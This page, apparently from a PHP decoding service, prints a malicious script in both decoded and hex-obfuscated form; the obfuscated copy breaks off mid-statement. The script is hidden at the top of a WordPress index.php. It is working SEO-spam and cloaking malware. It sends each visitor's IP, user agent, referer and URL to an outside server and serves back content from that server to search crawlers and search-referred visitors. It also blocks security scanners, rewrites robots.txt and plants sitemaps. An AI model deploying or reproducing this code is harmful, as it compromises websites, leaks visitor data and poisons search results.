Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto qIAKN; wncZC: $N2B4A = urlencode($_SERVER["\x48\124\124\120\x5f\122\105\106\10..
Decoded Output download
<?php
goto qIAKN; wncZC: $N2B4A = urlencode($_SERVER["HTTP_REFERER"]); goto XF3ha; z99Zc: LsKxD: goto eh44J; cl79L: $nliUE = "https://www.google.com/ping?sitemap="; goto r0dsl; qIAKN: error_reporting(0); goto PjOUn; F_uk5: @file_put_contents("robots.txt", $veDxW); goto Fkj1x; nTUiG: header("HTTP/1.0 500 Internal Server Error"); goto f8pA_; MoawA: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto akUsc; } goto uaBoR; ByUmh: $jxakq = $YrwQH . "?agent={$fP6_r}&refer={$N2B4A}&lang={$KKahb}&ip={$snmvo}&dom={$lpdOV}&http={$AvzTB}&uri={$GslMI}&pc={$vKrti}&rewriteable={$T_QDk}&script={$Y4FfR}"; goto d077M; LmWp4: $T_QDk = 0; goto aGEjc; IDCDe: YSgMI: goto WNiPO; ebNdh: exit; goto A280E; BrDNE: echo "ok"; goto kVcWY; T2b_Z: nYL2B: goto D6jdn; g8rL1: $NIQel = trim($NIQel) . "\xd
" . "Sitemap: {$XkDEC}"; goto nTmOa; eh44J: if ($T_QDk == 0) { goto tIV1b; } goto PyOPV; PEE_u: echo $veDxW; goto ebNdh; WWAj1: tx90j: goto vBfzq; CeAJn: if (strpos($GslMI, "favicon.ico") !== false) { goto rDVDP; } goto W6e2I; iZa7S: $lpdOV = urlencode($_SERVER["HTTP_HOST"]); goto dRZsd; aKvyd: goto tx90j; goto ZzfEq; TPA9B: goto Hm1f1; goto z99Zc; XxSpO: $rEaUf = $_SERVER["SCRIPT_NAME"]; goto G0KR2; kkjlg: if (empty($veDxW)) { goto jx4Vx; } goto SMwn0; DJy94: $jxakq = $YrwQH . "?agent={$fP6_r}&refer={$N2B4A}&lang={$KKahb}&ip={$snmvo}&dom={$lpdOV}&http={$AvzTB}&uri={$GslMI}&pc={$vKrti}&rewriteable={$T_QDk}&script={$Y4FfR}&sitemap=" . urlencode($XkDEC); goto aWKwO; JaPe4: function nQs6q($cSdly) { goto l3agd; Oqo0s: $G8aGt = @file_get_contents($cSdly); goto z5tCE; ofCPI: curl_setopt($CwDQN, CURLOPT_RETURNTRANSFER, true); goto zfvAq; Sf0A1: curl_close($CwDQN); goto BXBru; zfvAq: curl_setopt($CwDQN, CURLOPT_FOLLOWLOCATION, false); goto XJdVp; l3agd: $CwDQN = curl_init(); goto sQ3S6; XJdVp: curl_setopt($CwDQN, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto nriXQ; veHM3: return $G8aGt; goto bofZF; qC_oJ: curl_setopt($CwDQN, CURLOPT_SSL_VERIFYPEER, FALSE); goto TX5JC; z5tCE: aJsXB: goto veHM3; nriXQ: if (!(strpos($cSdly, "https://") !== false)) { goto uohCw; } goto qC_oJ; BXBru: if (!empty($G8aGt)) { goto aJsXB; } goto Oqo0s; TX5JC: curl_setopt($CwDQN, CURLOPT_SSL_VERIFYHOST, FALSE); goto BifqU; sQ3S6: curl_setopt($CwDQN, CURLOPT_URL, $cSdly); goto ofCPI; BifqU: uohCw: goto hP00b; hP00b: $G8aGt = curl_exec($CwDQN); goto Sf0A1; bofZF: } goto yPIFX; kVcWY: exit; goto IOXUL; yPIFX: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto xk1xZ; } goto HUGMc; RxRS3: header("Content-Type: text/xml; charset=utf-8"); goto atNTh; wE05z: if (empty($veDxW)) { goto rp1k3; } goto alIFo; DqMXR: $jxakq = $YrwQH . "?agent={$fP6_r}&refer={$N2B4A}&lang={$KKahb}&ip={$snmvo}&dom={$lpdOV}&http={$AvzTB}&uri={$GslMI}&pc={$vKrti}&rewriteable={$T_QDk}&script={$Y4FfR}"; goto Gc3q1; d077M: $veDxW = gu5wU($jxakq); goto T_Dfl; SMwn0: header("HTTP/1.1 404 Not Found"); goto OGjsL; xpb4X: $T_QDk = 1; goto qGtXR; oxN2o: kdBoC: goto emnaA; A280E: rp1k3: goto PA6ee; hd5zo: $veDxW = gu5wu($Ilfu4); goto tq60w; dvjjN: rDVDP: goto T2b_Z; AnpEq: $T_QDk = 0; goto J3XQt; xmvQX: header("HTTP/1.0 500 Internal Server Error"); goto VP7Kf; bCxvi: goto noq2s; goto RMkb6; tq60w: if ($veDxW == "ok") { goto EomOS; } goto AnpEq; Yq5_C: if (!($vusOL == "153.246.135.238" || $vusOL == "219.101.44.233")) { goto YRmmh; } goto k4_aK; vBfzq: goto WaStL; goto Z2vzQ; VzLgf: goto x_Jg3; goto H1agv; nbAfG: $XkDEC = "{$AvzTB}://" . $lpdOV . $rEaUf . "sitemap.xml"; goto g8rL1; PnePd: WaStL: goto ihuW9; QiFSW: EomOS: goto xpb4X; aGEjc: if (!file_exists("uxo.txt")) { goto kdBoC; } goto qQSQT; ihuW9: goto nYL2B; goto dvjjN; Q37aE: goto YSgMI; goto FwKl7; vylTW: x_Jg3: goto jcvMv; PjOUn: function LUVGD() { goto j_ipG; oYltM: $snmvo = getenv("REMOTE_ADDR"); goto NCtys; dBTEd: $dMMmj = explode(",", $snmvo); goto pF9nr; P_WrG: goto TZ_T1; goto H1q7p; L2giQ: $snmvo = getenv("HTTP_X_REAL_IP"); goto P_WrG; tEy8J: $snmvo = getenv("HTTP_X_FORWARDED_FOR"); goto dBTEd; pF9nr: $snmvo = $dMMmj[0]; goto FAP4z; VeL5b: TYcTW: goto L2giQ; XimNd: $snmvo = "0.0.0.0"; goto QSRBV; pwWLx: if (getenv("HTTP_X_REAL_IP")) { goto TYcTW; } goto n8mEB; H1q7p: Gbx5R: goto tEy8J; PFGBS: return $snmvo; goto Rn3i4; dmmnH: if (getenv("REMOTE_ADDR")) { goto W2oWX; } goto XimNd; QSRBV: goto TZ_T1; goto VeL5b; n8mEB: if (getenv("HTTP_X_FORWARDED_FOR")) { goto Gbx5R; } goto dmmnH; JpRa1: $snmvo = getenv("HTTP_CLIENT_IP"); goto UklIS; UklIS: Jinhn: goto pwWLx; j_ipG: if (!getenv("HTTP_CLIENT_IP")) { goto Jinhn; } goto JpRa1; AHcFP: W2oWX: goto oYltM; FAP4z: goto TZ_T1; goto AHcFP; NCtys: TZ_T1: goto PFGBS; Rn3i4: } goto yHXV6; yHXV6: function Gu5wU($cSdly) { goto HRF58; Vc7ih: return $G8aGt; goto Mk9EC; unRqm: curl_setopt($CwDQN, CURLOPT_RETURNTRANSFER, true); goto gufCw; HRF58: $G8aGt = @file_get_contents($cSdly); goto ltQSY; x902o: nEGm0: goto L4sGK; N4f5J: curl_setopt($CwDQN, CURLOPT_URL, $cSdly); goto unRqm; ltQSY: if (!empty($G8aGt)) { goto lN00A; } goto Ca_xH; aPUgv: curl_setopt($CwDQN, CURLOPT_SSL_VERIFYHOST, FALSE); goto x902o; YpHXJ: curl_setopt($CwDQN, CURLOPT_SSL_VERIFYPEER, FALSE); goto aPUgv; Ca_xH: $CwDQN = curl_init(); goto N4f5J; gufCw: curl_setopt($CwDQN, CURLOPT_FOLLOWLOCATION, false); goto C206g; L4sGK: $G8aGt = curl_exec($CwDQN); goto YoIXj; b_M0q: lN00A: goto Vc7ih; C206g: if (!(strpos($cSdly, "https://") !== false)) { goto nEGm0; } goto YpHXJ; YoIXj: curl_close($CwDQN); goto b_M0q; Mk9EC: } goto JaPe4; alIFo: if (!($veDxW == "500")) { goto L730K; } goto vInV2; wtFDe: $veDxW = gu5wU($jxakq); goto HJBty; GN1_Y: $GslMI = urldecode($_SERVER["REQUEST_URI"]); goto VIgGY; n1J8k: YRmmh: goto LmWp4; A6G8w: dDP8c: goto X9pu4; T_Dfl: echo $veDxW; goto jxIWm; RMkb6: tIV1b: goto c8orb; c8orb: $rEaUf = "/?"; goto nYfd_; D6jdn: goto eLaFp; goto aAizQ; r0dsl: $NIQel = "User-agent: *\xd
Allow: /"; goto nbAfG; nr9WF: header("Content-Type: text/html; charset=utf-8"); goto YOlxu; kQRwm: o27er: goto nTUiG; uaBoR: $_SERVER["REQUEST_SCHEME"] = "http"; goto VzLgf; H1agv: akUsc: goto itJqu; WNiPO: goto EeX1w; goto AK58G; HJBty: if ($veDxW == "500") { goto o27er; } goto kkjlg; gbvY5: $fP6_r = urlencode($_SERVER["HTTP_USER_AGENT"]); goto wncZC; IOXUL: sGfdO: goto Yq5_C; vInV2: header("HTTP/1.0 500 Internal Server Error"); goto kfi0D; RUF9G: header("Content-Type: text/plain; charset=utf-8"); goto Nhlun; jDTO_: HyS7G: goto ZA8ob; Wrew0: $YrwQH = "http://cw111.russiandue.top/index.php"; goto qyYd3; aAizQ: bSPs0: goto XxSpO; Z7bWv: O_tPG: goto xmvQX; x9ua9: $jxakq = $YrwQH . "?agent={$fP6_r}&refer={$N2B4A}&lang={$KKahb}&ip={$snmvo}&dom={$lpdOV}&http={$AvzTB}&uri={$GslMI}&pc={$vKrti}&rewriteable={$T_QDk}&script={$Y4FfR}"; goto RUF9G; Fkj1x: exit; goto WWAj1; k4_aK: header("HTTP/1.0 403 Forbidden"); goto kDlB1; kDlB1: exit; goto n1J8k; W6e2I: if (strpos($GslMI, "jp2023") !== false) { goto x47rj; } goto STi1a; qyYd3: $vKrti = 2793; goto gbvY5; k1HIP: $snmvo = urlencode($vusOL); goto iZa7S; VP7Kf: exit; goto nS8f5; PA6ee: EeX1w: goto PtYvE; J3XQt: @file_put_contents("uxo.txt", "0"); goto gBedk; X9pu4: SpDJl: goto YAqxp; VIgGY: if (!(strpos($GslMI, "uuuuxxxxooo") !== false)) { goto sGfdO; } goto BrDNE; f8pA_: exit; goto PGMPb; OGjsL: echo $veDxW; goto JCFLv; Dy1NV: echo $XkDEC . ": " . $HrQf0 . "<br/>"; goto DJy94; PGMPb: TjeK0: goto IDCDe; HCb0U: if (substr($veDxW, 0, 5) == "<?xml") { goto Ao7US; } goto nr9WF; jxIWm: exit; goto PnePd; V2QPZ: pZQwp: goto PEE_u; fU4Xq: $rEaUf = $rEaUf . "?"; goto TPA9B; PtYvE: goto xzkQ6; goto jDTO_; YAqxp: if (strpos($GslMI, "pingsitemap.xml") !== false) { goto bSPs0; } goto CeAJn; AK58G: JX48T: goto DqMXR; JshD7: if (preg_match("/({$jFw5i})/i", $_SERVER["HTTP_REFERER"])) { goto mH0Tr; } goto Q37aE; l9YuO: goto XDDOG; goto Z7bWv; nTmOa: $HrQf0 = ''; goto Dy1NV; nYfd_: noq2s: goto c72Wj; ooPNG: if (preg_match("/({$jFw5i})/i", $_SERVER["HTTP_USER_AGENT"])) { goto JX48T; } goto JshD7; Z2vzQ: x47rj: goto ByUmh; YOlxu: goto pZQwp; goto kKJZS; lHLNt: exit; goto JKMuv; JCFLv: exit; goto PL_Vf; qQSQT: $T_QDk = @file_get_contents("uxo.txt"); goto VvADY; atNTh: echo $veDxW; goto MnWrS; G0KR2: if (strpos($rEaUf, "index.php") !== false) { goto LsKxD; } goto fU4Xq; hFrkD: L730K: goto HCb0U; FUndI: exit; goto OGT8E; jcvMv: $AvzTB = urlencode($_SERVER["REQUEST_SCHEME"]); goto GN1_Y; OGT8E: xk1xZ: goto vQDjs; GztJG: if (preg_match("@^/(.*?).xml$@i", $GslMI)) { goto HyS7G; } goto ooPNG; LspK9: goto TjeK0; goto kQRwm; FwKl7: mH0Tr: goto PJL4i; itJqu: $_SERVER["REQUEST_SCHEME"] = "https"; goto vylTW; AekVg: $vusOL = lUVgd(); goto k1HIP; f1K4x: if ($veDxW == "500") { goto O_tPG; } goto RxRS3; nS8f5: XDDOG: goto XIr50; kKJZS: Ao7US: goto qAc7q; Gc3q1: $veDxW = Gu5wu($jxakq); goto wE05z; Nhlun: echo $veDxW = gU5WU($jxakq); goto F_uk5; aWKwO: $veDxW = gu5Wu($jxakq); goto WtbpZ; c72Wj: Hm1f1: goto cl79L; dRZsd: $Y4FfR = urlencode($_SERVER["SCRIPT_NAME"]); goto MoawA; PJL4i: $jxakq = $YrwQH . "?agent={$fP6_r}&refer={$N2B4A}&lang={$KKahb}&ip={$snmvo}&dom={$lpdOV}&http={$AvzTB}&uri={$GslMI}&pc={$vKrti}&rewriteable={$T_QDk}"; goto wtFDe; VvADY: goto SpDJl; goto oxN2o; STi1a: if (strpos($GslMI, "robots.txt") !== false || strpos($GslMI, "writerobots") !== false) { goto bB9lL; } goto GztJG; PyOPV: $rEaUf = "/"; goto bCxvi; qAc7q: header("Content-Type: text/xml; charset=utf-8"); goto V2QPZ; tNjwt: $veDxW = GU5WU($jxakq); goto f1K4x; HUGMc: header("HTTP/1.0 403 Forbidden"); goto FUndI; XF3ha: $KKahb = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto AekVg; WtbpZ: @file_put_contents("robots.txt", $NIQel); goto lHLNt; MnWrS: exit; goto l9YuO; vQDjs: $jFw5i = "bing|google|yahoo"; goto Wrew0; qGtXR: @file_put_contents("uxo.txt", "1"); goto A6G8w; gBedk: goto dDP8c; goto QiFSW; ZA8ob: $jxakq = $YrwQH . "?agent={$fP6_r}&refer={$N2B4A}&lang={$KKahb}&ip={$snmvo}&dom={$lpdOV}&http={$AvzTB}&uri={$GslMI}&pc={$vKrti}&rewriteable={$T_QDk}&script={$Y4FfR}"; goto tNjwt; emnaA: $Ilfu4 = $AvzTB . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto hd5zo; kfi0D: exit; goto hFrkD; XIr50: xzkQ6: goto aKvyd; PL_Vf: jx4Vx: goto LspK9; ZzfEq: bB9lL: goto x9ua9; JKMuv: eLaFp:
?><?php define('WP_USE_THEMES', true );require(__DIR__. '/wp-blog-header.php' ); ?>
Did this file decode correctly?
Original Code
<?php
goto qIAKN; wncZC: $N2B4A = urlencode($_SERVER["\x48\124\124\120\x5f\122\105\106\105\x52\x45\x52"]); goto XF3ha; z99Zc: LsKxD: goto eh44J; cl79L: $nliUE = "\x68\x74\x74\x70\163\72\57\57\x77\167\x77\56\147\157\x6f\x67\154\145\x2e\x63\x6f\155\57\x70\151\x6e\x67\77\163\151\164\145\x6d\141\160\75"; goto r0dsl; qIAKN: error_reporting(0); goto PjOUn; F_uk5: @file_put_contents("\x72\157\x62\157\x74\163\56\x74\x78\x74", $veDxW); goto Fkj1x; nTUiG: header("\110\124\124\120\x2f\x31\56\x30\x20\x35\60\60\x20\111\156\x74\145\x72\156\x61\154\40\x53\x65\x72\166\x65\x72\x20\105\x72\162\157\x72"); goto f8pA_; MoawA: if (!empty($_SERVER["\x52\105\121\125\x45\x53\124\137\123\103\x48\105\x4d\x45"]) && $_SERVER["\122\x45\121\125\x45\123\124\x5f\123\103\110\x45\x4d\x45"] == "\150\164\x74\160\163" || !empty($_SERVER["\110\124\x54\120\123"]) && $_SERVER["\x48\124\x54\120\x53"] == "\x6f\x6e" || !empty($_SERVER["\x53\x45\122\x56\x45\122\137\x50\117\122\x54"]) && $_SERVER["\x53\105\x52\126\x45\x52\137\x50\117\122\x54"] == "\x34\64\63" || isset($_SERVER["\110\x54\x54\120\x5f\x58\x5f\x46\x4f\x52\127\x41\122\104\105\x44\x5f\x50\x52\x4f\x54\x4f"]) && $_SERVER["\110\124\x54\x50\x5f\x58\137\106\117\122\x57\101\x52\x44\105\104\137\x50\x52\117\x54\x4f"] == "\x68\164\164\x70\163") { goto akUsc; } goto uaBoR; ByUmh: $jxakq = $YrwQH . "\77\x61\147\x65\156\164\75{$fP6_r}\46\x72\145\146\x65\162\75{$N2B4A}\x26\154\x61\156\147\75{$KKahb}\x26\x69\x70\75{$snmvo}\46\x64\157\155\75{$lpdOV}\x26\x68\164\164\x70\75{$AvzTB}\x26\165\x72\x69\x3d{$GslMI}\46\x70\143\75{$vKrti}\x26\x72\x65\x77\x72\x69\164\x65\x61\x62\x6c\145\x3d{$T_QDk}\46\x73\143\x72\151\x70\x74\75{$Y4FfR}"; goto d077M; LmWp4: $T_QDk = 0; goto aGEjc; IDCDe: YSgMI: goto WNiPO; ebNdh: exit; goto A280E; BrDNE: echo "\157\x6b"; goto kVcWY; T2b_Z: nYL2B: goto D6jdn; g8rL1: $NIQel = trim($NIQel) . "\xd\12" . "\123\151\x74\x65\155\141\x70\72\x20{$XkDEC}"; goto nTmOa; eh44J: if ($T_QDk == 0) { goto tIV1b; } goto PyOPV; PEE_u: echo $veDxW; goto ebNdh; WWAj1: tx90j: goto vBfzq; CeAJn: if (strpos($GslMI, "\146\x61\166\151\143\x6f\156\56\151\x63\x6f") !== false) { goto rDVDP; } goto W6e2I; iZa7S: $lpdOV = urlencode($_SERVER["\110\x54\x54\x50\137\110\117\123\x54"]); goto dRZsd; aKvyd: goto tx90j; goto ZzfEq; TPA9B: goto Hm1f1; goto z99Zc; XxSpO: $rEaUf = $_SERVER["\123\103\122\x49\120\124\x5f\116\x41\x4d\105"]; goto G0KR2; kkjlg: if (empty($veDxW)) { goto jx4Vx; } goto SMwn0; DJy94: $jxakq = $YrwQH . "\77\141\x67\x65\x6e\x74\x3d{$fP6_r}\46\x72\x65\x66\145\x72\75{$N2B4A}\x26\154\x61\156\x67\75{$KKahb}\x26\x69\x70\x3d{$snmvo}\46\x64\157\x6d\x3d{$lpdOV}\46\x68\164\164\160\x3d{$AvzTB}\x26\x75\162\x69\75{$GslMI}\x26\160\x63\75{$vKrti}\x26\162\x65\x77\x72\x69\x74\x65\141\x62\x6c\x65\x3d{$T_QDk}\x26\x73\x63\x72\x69\x70\164\75{$Y4FfR}\46\x73\x69\164\145\155\141\x70\x3d" . urlencode($XkDEC); goto aWKwO; JaPe4: function nQs6q($cSdly) { goto l3agd; Oqo0s: $G8aGt = @file_get_contents($cSdly); goto z5tCE; ofCPI: curl_setopt($CwDQN, CURLOPT_RETURNTRANSFER, true); goto zfvAq; Sf0A1: curl_close($CwDQN); goto BXBru; zfvAq: curl_setopt($CwDQN, CURLOPT_FOLLOWLOCATION, false); goto XJdVp; l3agd: $CwDQN = curl_init(); goto sQ3S6; XJdVp: curl_setopt($CwDQN, CURLOPT_USERAGENT, $_SERVER["\x48\x54\x54\120\137\x55\123\105\x52\x5f\x41\x47\x45\x4e\124"]); goto nriXQ; veHM3: return $G8aGt; goto bofZF; qC_oJ: curl_setopt($CwDQN, CURLOPT_SSL_VERIFYPEER, FALSE); goto TX5JC; z5tCE: aJsXB: goto veHM3; nriXQ: if (!(strpos($cSdly, "\150\x74\164\x70\x73\72\x2f\57") !== false)) { goto uohCw; } goto qC_oJ; BXBru: if (!empty($G8aGt)) { goto aJsXB; } goto Oqo0s; TX5JC: curl_setopt($CwDQN, CURLOPT_SSL_VERIFYHOST, FALSE); goto BifqU; sQ3S6: curl_setopt($CwDQN, CURLOPT_URL, $cSdly); goto ofCPI; BifqU: uohCw: goto hP00b; hP00b: $G8aGt = curl_exec($CwDQN); goto Sf0A1; bofZF: } goto yPIFX; kVcWY: exit; goto IOXUL; yPIFX: if (!preg_match("\x2f\50\102\x79\164\145\x73\160\151\x64\x65\162\174\120\145\x74\141\154\102\157\164\x7c\x41\x68\x72\145\x66\x73\x42\157\164\174\x42\141\162\x6b\x72\x6f\x77\154\x65\x72\x7c\x4d\112\61\x32\x62\157\x74\x7c\106\145\x65\x64\104\x65\155\x6f\156\174\x4a\x69\153\x65\123\160\151\144\145\x72\x7c\111\156\x64\171\40\x4c\151\142\x72\141\x72\171\x7c\x41\163\x6b\x54\x62\x46\130\x54\x56\x7c\x43\x72\141\167\x6c\104\141\144\144\x79\174\x43\x6f\157\x6c\160\141\x64\x57\145\142\153\151\x74\174\x4a\141\x76\141\x7c\x46\145\x65\x64\154\x79\x7c\x55\156\151\166\x65\x72\163\x61\x6c\106\145\145\x64\x50\x61\162\163\x65\x72\174\101\160\141\143\150\x65\x42\x65\x6e\143\150\174\x53\167\x69\x66\164\x62\x6f\164\174\132\x6d\105\165\x7c\157\102\157\164\x7c\x6a\x61\x75\x6e\x74\x79\x7c\x50\x79\164\x68\157\156\55\165\x72\x6c\x6c\x69\142\x7c\160\171\164\x68\x6f\x6e\55\162\145\161\165\145\x73\164\163\174\154\x69\147\x68\x74\104\x65\143\153\122\145\160\x6f\162\x74\163\x20\102\x6f\x74\174\131\131\123\160\151\x64\145\162\174\x44\151\x67\x45\x78\164\174\x59\151\163\x6f\165\123\x70\151\x64\145\x72\174\110\x74\164\x70\x43\154\151\145\156\x74\174\x68\x65\x72\151\164\162\151\x78\174\x45\x61\163\157\x75\x53\x70\x69\144\x65\x72\x7c\105\172\157\157\155\x73\x7c\x41\155\141\x7a\x6f\x6e\102\x6f\x74\174\123\x45\x4d\x72\165\x73\x68\102\157\164\x7c\131\x61\x6e\144\x65\170\102\x6f\x74\174\x70\141\x6c\157\x61\154\164\x6f\156\x65\164\x77\x6f\x72\153\x73\x7c\x50\171\164\150\x6f\x6e\51\x2f\x69", $_SERVER["\x48\x54\124\x50\x5f\125\x53\x45\x52\x5f\101\107\105\116\x54"])) { goto xk1xZ; } goto HUGMc; RxRS3: header("\x43\157\156\164\x65\156\x74\55\x54\x79\x70\x65\72\40\x74\145\x78\x74\57\170\155\154\73\x20\143\150\141\162\x73\x65\x74\x3d\x75\x74\x66\x2d\x38"); goto atNTh; wE05z: if (empty($veDxW)) { goto rp1k3; } goto alIFo; DqMXR: $jxakq = $YrwQH . "\77\x61\x67\x65\156\x74\x3d{$fP6_r}\46\162\145\x66\x65\x72\x3d{$N2B4A}\x26\x6c\141\x6e\147\75{$KKahb}\x26\x69\160\75{$snmvo}\x26\x64\157\x6d\75{$lpdOV}\46\150\x74\x74\160\75{$AvzTB}\46\x75\x72\x69\x3d{$GslMI}\x26\160\143\x3d{$vKrti}\x26\x72\145\167\x72\x69\164\145\141\142\x6c\x65\75{$T_QDk}\46\x73\143\x72\151\x70\x74\x3d{$Y4FfR}"; goto Gc3q1; d077M: $veDxW = gu5wU($jxakq); goto T_Dfl; SMwn0: header("\110\124\x54\x50\57\x31\56\x31\40\x34\x30\64\x20\116\157\164\x20\106\x6f\165\156\x64"); goto OGjsL; xpb4X: $T_QDk = 1; goto qGtXR; oxN2o: kdBoC: goto emnaA; A280E: rp1k3: goto PA6ee; hd5zo: $veDxW = gu5wu($Ilfu4); goto tq60w; dvjjN: rDVDP: goto T2b_Z; AnpEq: $T_QDk = 0; goto J3XQt; xmvQX: header("\110\x54\124\x50\x2f\x31\56\x30\40\x35\60\x30\40\x49\x6e\x74\x65\x72\156\141\x6c\40\123\145\x72\166\x65\162\40\105\x72\162\157\162"); goto VP7Kf; bCxvi: goto noq2s; goto RMkb6; tq60w: if ($veDxW == "\x6f\x6b") { goto EomOS; } goto AnpEq; Yq5_C: if (!($vusOL == "\61\65\x33\56\62\64\66\x2e\x31\x33\x35\x2e\x32\63\x38" || $vusOL == "\x32\61\71\x2e\x31\60\61\56\x34\x34\x2e\62\x33\63")) { goto YRmmh; } goto k4_aK; vBfzq: goto WaStL; goto Z2vzQ; VzLgf: goto x_Jg3; goto H1agv; nbAfG: $XkDEC = "{$AvzTB}\72\57\x2f" . $lpdOV . $rEaUf . "\163\x69\164\x65\x6d\x61\x70\x2e\x78\155\154"; goto g8rL1; PnePd: WaStL: goto ihuW9; QiFSW: EomOS: goto xpb4X; aGEjc: if (!file_exists("\165\170\157\x2e\164\x78\x74")) { goto kdBoC; } goto qQSQT; ihuW9: goto nYL2B; goto dvjjN; Q37aE: goto YSgMI; goto FwKl7; vylTW: x_Jg3: goto jcvMv; PjOUn: function LUVGD() { goto j_ipG; oYltM: $snmvo = getenv("\122\x45\x4d\117\x54\x45\x5f\x41\x44\104\x52"); goto NCtys; dBTEd: $dMMmj = explode("\54", $snmvo); goto pF9nr; P_WrG: goto TZ_T1; goto H1q7p; L2giQ: $snmvo = getenv("\110\124\x54\x50\137\130\x5f\122\x45\101\x4c\x5f\111\120"); goto P_WrG; tEy8J: $snmvo = getenv("\110\x54\124\120\x5f\130\137\x46\x4f\122\127\x41\x52\104\x45\104\137\106\x4f\x52"); goto dBTEd; pF9nr: $snmvo = $dMMmj[0]; goto FAP4z; VeL5b: TYcTW: goto L2giQ; XimNd: $snmvo = "\60\56\60\56\x30\x2e\60"; goto QSRBV; pwWLx: if (getenv("\x48\x54\x54\120\137\130\137\x52\x45\x41\x4c\x5f\111\120")) { goto TYcTW; } goto n8mEB; H1q7p: Gbx5R: goto tEy8J; PFGBS: return $snmvo; goto Rn3i4; dmmnH: if (getenv("\122\105\x4d\117\124\105\137\x41\104\x44\x52")) { goto W2oWX; } goto XimNd; QSRBV: goto TZ_T1; goto VeL5b; n8mEB: if (getenv("\110\124\x54\120\x5f\x58\137\x46\117\x52\127\x41\x52\104\x45\x44\x5f\x46\x4f\122")) { goto Gbx5R; } goto dmmnH; JpRa1: $snmvo = getenv("\110\x54\124\120\137\103\114\111\105\116\124\137\111\120"); goto UklIS; UklIS: Jinhn: goto pwWLx; j_ipG: if (!getenv("\110\x54\124\x50\137\103\x4c\x49\105\x4e\x54\137\111\x50")) { goto Jinhn; } goto JpRa1; AHcFP: W2oWX: goto oYltM; FAP4z: goto TZ_T1; goto AHcFP; NCtys: TZ_T1: goto PFGBS; Rn3i4: } goto yHXV6; yHXV6: function Gu5wU($cSdly) { goto HRF58; Vc7ih: return $G8aGt; goto Mk9EC; unRqm: curl_setopt($CwDQN, CURLOPT_RETURNTRANSFER, true); goto gufCw; HRF58: $G8aGt = @file_get_contents($cSdly); goto ltQSY; x902o: nEGm0: goto L4sGK; N4f5J: curl_setopt($CwDQN, CURLOPT_URL, $cSdly); goto unRqm; ltQSY: if (!empty($G8aGt)) { goto lN00A; } goto Ca_xH; aPUgv: curl_setopt($CwDQN, CURLOPT_SSL_VERIFYHOST, FALSE); goto x902o; YpHXJ: curl_setopt($CwDQN, CURLOPT_SSL_VERIFYPEER, FALSE); goto aPUgv; Ca_xH: $CwDQN = curl_init(); goto N4f5J; gufCw: curl_setopt($CwDQN, CURLOPT_FOLLOWLOCATION, false); goto C206g; L4sGK: $G8aGt = curl_exec($CwDQN); goto YoIXj; b_M0q: lN00A: goto Vc7ih; C206g: if (!(strpos($cSdly, "\x68\164\x74\160\163\72\x2f\x2f") !== false)) { goto nEGm0; } goto YpHXJ; YoIXj: curl_close($CwDQN); goto b_M0q; Mk9EC: } goto JaPe4; alIFo: if (!($veDxW == "\65\x30\x30")) { goto L730K; } goto vInV2; wtFDe: $veDxW = gu5wU($jxakq); goto HJBty; GN1_Y: $GslMI = urldecode($_SERVER["\x52\x45\x51\125\x45\x53\124\x5f\x55\x52\x49"]); goto VIgGY; n1J8k: YRmmh: goto LmWp4; A6G8w: dDP8c: goto X9pu4; T_Dfl: echo $veDxW; goto jxIWm; RMkb6: tIV1b: goto c8orb; c8orb: $rEaUf = "\x2f\77"; goto nYfd_; D6jdn: goto eLaFp; goto aAizQ; r0dsl: $NIQel = "\125\x73\145\x72\55\x61\147\145\156\164\72\x20\52\xd\12\x41\154\154\157\167\x3a\40\57"; goto nbAfG; nr9WF: header("\x43\x6f\156\x74\145\156\x74\x2d\x54\171\x70\x65\x3a\x20\x74\145\x78\x74\x2f\150\164\x6d\x6c\x3b\x20\x63\150\141\162\x73\x65\164\x3d\x75\164\146\x2d\x38"); goto YOlxu; kQRwm: o27er: goto nTUiG; uaBoR: $_SERVER["\122\105\121\x55\x45\123\124\x5f\x53\x43\x48\105\x4d\105"] = "\x68\x74\x74\x70"; goto VzLgf; H1agv: akUsc: goto itJqu; WNiPO: goto EeX1w; goto AK58G; HJBty: if ($veDxW == "\65\x30\x30") { goto o27er; } goto kkjlg; gbvY5: $fP6_r = urlencode($_SERVER["\110\x54\124\x50\x5f\x55\x53\105\122\137\101\x47\105\116\124"]); goto wncZC; IOXUL: sGfdO: goto Yq5_C; vInV2: header("\x48\124\124\x50\57\61\56\x30\x20\x35\x30\x30\40\x49\x6e\164\x65\x72\156\141\x6c\x20\123\145\162\x76\x65\162\x20\105\162\x72\x6f\x72"); goto kfi0D; RUF9G: header("\x43\x6f\x6e\164\145\x6e\164\x2d\x54\x79\x70\145\x3a\x20\164\145\x78\164\57\160\154\x61\x69\156\73\x20\143\x68\141\x72\163\x65\x74\x3d\x75\x74\x66\55\70"); goto Nhlun; jDTO_: HyS7G: goto ZA8ob; Wrew0: $YrwQH = "\x68\x74\x74\160\x3a\57\57\143\167\61\61\x31\56\162\165\x73\163\151\x61\x6e\x64\x75\145\56\x74\x6f\x70\57\151\x6e\x64\145\x78\56\x70\x68\x70"; goto qyYd3; aAizQ: bSPs0: goto XxSpO; Z7bWv: O_tPG: goto xmvQX; x9ua9: $jxakq = $YrwQH . 